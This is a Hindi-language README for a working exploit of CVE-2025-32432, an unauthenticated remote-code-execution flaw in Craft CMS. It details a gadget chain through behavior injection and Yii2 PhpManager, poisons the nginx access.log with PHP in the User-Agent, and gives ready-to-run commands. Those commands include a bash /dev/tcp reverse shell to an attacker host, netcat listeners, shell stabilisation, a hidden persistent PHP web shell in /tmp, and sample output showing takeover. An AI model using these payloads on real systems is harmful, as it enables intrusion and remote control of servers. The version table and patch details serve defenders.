
कार्यशील PoC CVE-2025-32432 के लिए - Craft CMS <= 5.6.16 बिना प्रमाणीकरण के RCE, Yii2 PhpManager गैजेट + nginx access.log पॉइज़निंग के माध्यम से
CVE-2025-32432 के लिए कार्यशील प्रूफ-ऑफ-कॉन्सेप्ट, यह Craft CMS के संस्करण 5.6.16 तक (समतुल्य कोड पथों पर 4.x और 3.x शाखाओं को भी प्रभावित करता है) में एक बिना प्रमाणीकरण के रिमोट कोड निष्पादन भेद्यता है।
खोज कीवर्ड: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
डिफ़ॉल्ट मोड सामान्य Craft CMS इंस्टॉल को लक्षित करता है। --lab ध्वज carangueijada-20 चुनौती के लिए शामिल है, जो Craf को कस्टम सत्र कुकी के पीछे रखता है।
प्रभावित घटक: craft\controllers\AssetsController::actionGenerateTransform।
यह कार्रवाई allowAnonymous के रूप में पंजीकृत है, इसलिए कोई प्रमाणीकरण आवश्यक नहीं है। यह एक POST पैरामीटर handle स्वीकार करता है जिसे फिर Craft::createObject() कॉल में spread किया जाता है:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
जब $handle हमलावर के नियंत्रण में एक साहचर्य सरणी है, तो spread कंस्ट्रक्टर कॉन्फ़िग में मनमानी कुंजियाँ इंजेक्ट करता है। विशेष रूप से, as से शुरू होने वाली कुंजी को yii\base\Component::__set एक व्यवहार अटैचमेंट के रूप में व्याख्या करता है, जो किसी भी प्रकार की जाँच से पहले Yii::createObject($config) को मान पर कॉल करता है:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
Yii2 के 2.0.50 में फिक्स ने इस शाखा की रक्षा के लिए is_subclass_of($value['class'], Behavior::class) जोड़ा; असुरक्षित इंस्टॉल (Yii2 <= 2.0.49, या पहले से पैच किए गए चेक) इस गार्ड को पूरी तरह से छोड़ देते हैं।
yii\rbac\PhpManagerPhpManager एक स्टॉक Yii2 क्लास है। इसका init() load() कॉल करता है, जो loadFromFile($this->itemFile) कॉल करता है। loadFromFile शाब्दिक रूप से है:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require डिस्क पर किसी भी फ़ाइल को PHP के रूप में पार्स करता है। यदि फ़ाइल में <?php ... ?> ब्लॉक है, तो वह ब्लॉक वर्कर में चलता है। itemFile को एक ऐसी फ़ाइल पर इंगित करके जिसकी सामग्री हमलावर नियंत्रित करता है, पूर्ण RCE प्राप्त होता है।
access.logभरोसेमंद क्रॉस-इंस्टॉल सिंक nginx का संयुक्त प्रारूप access.log है। यह अनुरोध User-Agent को शाब्दिक रूप से रिकॉर्ड करता है, जिसमें गैर-मुद्रण योग्य वर्ण और अधिकांश विराम चिह्न शामिल हैं। User-Agent को <?php system('id'); exit; ?> के साथ एक अनुरोध भेजकर, हमलावर एक ज्ञात पथ पर एक PHP ब्लॉक लगाता है। itemFile को /var/log/nginx/access.log पर इंगित करने के बाद require लॉग को पार्स करता है, और प्रत्येक <?php ... ?> ब्लॉक को क्रम में निष्पादित करता है।
दो बारीकियाँ महत्वपूर्ण हैं:
" को \x22 में बदलता है, जो लाइन की PHP पार्सिंग को तोड़ देता है। एकल उद्धरण या chr() संयोजन का उपयोग करें।exit; ताकि require बाद की लॉग लाइनों को पार्स करने से पहले रुक जाए, जिनमें अन्य विकृत पेलोड हो सकते हैं।| घटक | असुरक्षित संस्करण | पैच संस्करण |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 ट्रांसफ़ॉर्मर क्लास पर एक ImageTransformerInterface जाँच जोड़ता है। Yii2 2.0.50 Component::__set में एक Behavior उपवर्ग जाँच जोड़ता है। कोई भी फिक्स इस सटीक गैजेट श्रृंखला को बंद कर देता है।
requests लाइब्रेरी (pip install -r requirements.txt)assetId। डिफ़ॉल्ट 2; यदि आवश्यक हो तो -a <id> से ओवरराइड करें (एसेट आइडी 1 आमतौर पर एडमिन अवतार है)।python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile (अलग लॉग पथ, FPM सत्र, आदि)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
carangueijada-20 लैब Craft इंस्टॉल को PATCH /login द्वारा जारी coopsess कुकी के पीछे रखता है। --lab ध्वज उस हैंडशेक को स्वचालित रूप से संभालता है।
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
सुनिश्चित करें कि www.carangueijada.coop लैब IP पर हल हो (यदि आवश्यक हो तो /etc/hosts में जोड़ें)।
--revshell ध्वज एक bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 कनेक्ट-बैक फायर करता है, जो बैकग्राउंड में चलता है ताकि गैजेट POST तुरंत वापस आ जाए।
दो-टर्मिनल प्रवाह (सबसे विश्वसनीय):
# टर्मिनल 1 - आपकी मशीन पर सुनने वाला
nc -lvnp 4444
# टर्मिनल 2 - एक्सप्लॉइट फायर करें
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
बिल्ट-इन सुनने वाले के साथ एक-टर्मिनल प्रवाह:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen पेलोड फायर करने से पहले उसी टर्मिनल में nc -lvnp <lport> शुरू करता है। जब आपका काम हो जाए तो Ctrl+C दबाएं।
नमूना सत्र (लैब):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# in the listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
शेल को स्थिर करना (कनेक्ट होने के बाद, रिवर्स शेल के अंदर चलाएँ):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z to background nc
stty raw -echo; fg
# Enter twice
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
पहले रन पर, एक्सप्लॉइट एक बार access.log को पॉइज़न करता है ताकि /tmp/.cve32432_w.php पर एक छिपा हुआ PHP रैपर गिरा सके। रैपर X-Cmd HTTP हेडर को पढ़ता है और system($_SERVER['HTTP_X_CMD']) चलाता है। प्रत्येक बाद के डिस्पैच itemFile को रैपर फ़ाइल पर इंगित करता है और कमांड को हेडर के माध्यम से पास करता है। कोई और पॉइज़निंग नहीं, कोई और लॉग प्रदूषण नहीं, कोई और "पहले <?php exit; ब्लॉक जीतता है" विफलता नहीं।
यदि आप फिर से गिराने के लिए मजबूर करना चाहते हैं, तो लक्ष्य पर /tmp/.cve32432_w.php हटाएँ (आप इसे रैपर के माध्यम से स्वयं कर सकते हैं: --cmd 'rm /tmp/.cve32432_w.php')।
नए लक्ष्य के विरुद्ध सफल रन:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux